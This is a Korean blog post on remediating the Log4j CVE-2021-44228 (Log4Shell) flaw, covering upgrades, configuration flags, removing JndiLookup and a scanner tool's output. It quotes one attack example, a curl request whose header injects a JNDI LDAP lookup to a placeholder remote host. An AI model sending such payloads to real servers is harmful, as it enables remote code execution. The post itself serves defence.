개요

이 포스팅에서는 Apache의 Log4j v2 라이브러리의 취약점 CVE-2021-44228 해결 방법에 대해 알아보겠습니다.

요약

이번 취약점은 Log4j의 v2에만 해당되며, 해당되는 세부 버전은 <=2.14.1 입니다. 취약점 해결 방법으로는 크게 5가지 방법이 있습니다.

1. Log4j 버전을 2.15.0 이상으로 올린다. (Java >=8 필요)
2. FormatMsgNoLookups 값을 True로 설정한다. (Log4j >=2.10 필요)
3. PatternLayout 설정을 변경한다. (Log4j >=2.7 필요)
4. JndiLookup, JndiManager 클래스를 제거한다. (모든 Log4j에 적용 가능)
5. Log4j를 사용하지 않는다.

취약점 해결법

다음 5가지 항목중 하나를 적용함으로 취약점 해결이 가능합니다.

Log4j 버전을 2.15.0 이상으로 변경

별다른 설정 없이 Log4j 버전을 >=2.15.0로 올림으로 취약점 해결이 가능합니다.
단, Java >=8을 사용하는 환경에서만 가능합니다.

만약 Java <8을 사용한다면 다른 해결 방법을 적용하도록 합니다.

FormatMsgNoLookups 값을 True로 설정

Log4j 설정값 변경을 통해 취약점 해결이 가능합니다.
단, Log4j >2.10를 사용하는 환경에서만 가능합니다.

log4j2.formatMsgNoLookups 값을 True로 설정하면 되는데, Java 실행 옵션으로 -Dlog4j2.formatMsgNoLookups=true를 주면 됩니다.

PatternLayout 설정 변경

Log4j의 출력 패턴에 설정을 추가해서 해결이 가능합니다.
단, Log4j >2.7를 사용하는 환경에서만 가능합니다.

메세지를 출력하는 패턴인 %m, %msg, %massage 뒤에 {nolookups} 를 붙여서 %m{nolookups}, %msg{nolookups}, %massage{nolookups}로 설정하면 됩니다.

JndiLookup, JndiManager 클래스 제거

log4j-core.jar의 JdniLookup, JdniManager 클래스를 제거해서 해결이 가능합니다.

KISA에서 제안하는 다음 명령어를 실행하면 됩니다. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Log4j 제거

원천적인 방법으로 취약점이 있는 Log4j를 사용하지 않음으로 해결이 가능합니다.

취약점 공격 방식

이번 취약점 공격 방식은 원격 코드를 실행(RCE, Remote Code Execution)하는 방식으로, Log4j에서 남기는 로그 메세지에 원격의 자바 객체 주소를 포함시켜 실행하는 공격 방식이라고 합니다.

Ahnlab에서 제공하는 공격의 예시로는 다음과 같은 명령을 실행하도록 해서 xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키도록 한다고 합니다.
curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’

취약한지 확인 방법

Logpresso 에서 제공하는 툴을 사용해서 취약한지 확인이 가능합니다.
사용 방법으로는 툴을 다운받은 후 다음 명령으로 실행하면 됩니다.

> log4j2-scan {target_path}

그러면, 아래와 같이 취약한 부분에 대해 출력해줍니다.

CMD> log4j2-scan.exe D:\tmp
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\bin\elasticsearch-sql-cli-7.16.0.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\lib\log4j-core-2.11.1.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\flink-1.14.0\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\logstash-core\lib\jars\log4j-core-2.14.0.jar, log4j 2.14.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\vendor\bundle\jruby\2.5.0\gems\logstash-input-tcp-6.2.1-java\vendor\jar-dependencies\org\logstash\inputs\logstash-input-tcp\6.2.1\logstash-input-tcp-6.2.1.jar, log4j 2.9.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\contrib\prometheus-exporter\lib\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\server\lib\ext\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\contrib\prometheus-exporter\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\server\lib\ext\log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 5047 directories and 26251 files
Found 9 vulnerable files
Completed in 0.42 seconds

위 툴은 제공된 경로의 모든 하위경로의 .jar 파일을 찾고, 취약한 Log4j 버전이 사용되는지 확인해서 출력하는 방식이라고 합니다.

줄이며…

지금까지 Log4j v2의 취약점 해결 방법에 대해 알아보았습니다.
많은 프로젝트에서 사용하는 라이브러리에 크리티컬한 취약점 발생시, 그 여파가 얼마나 큰지 느낄 수 있는 경험이었습니다.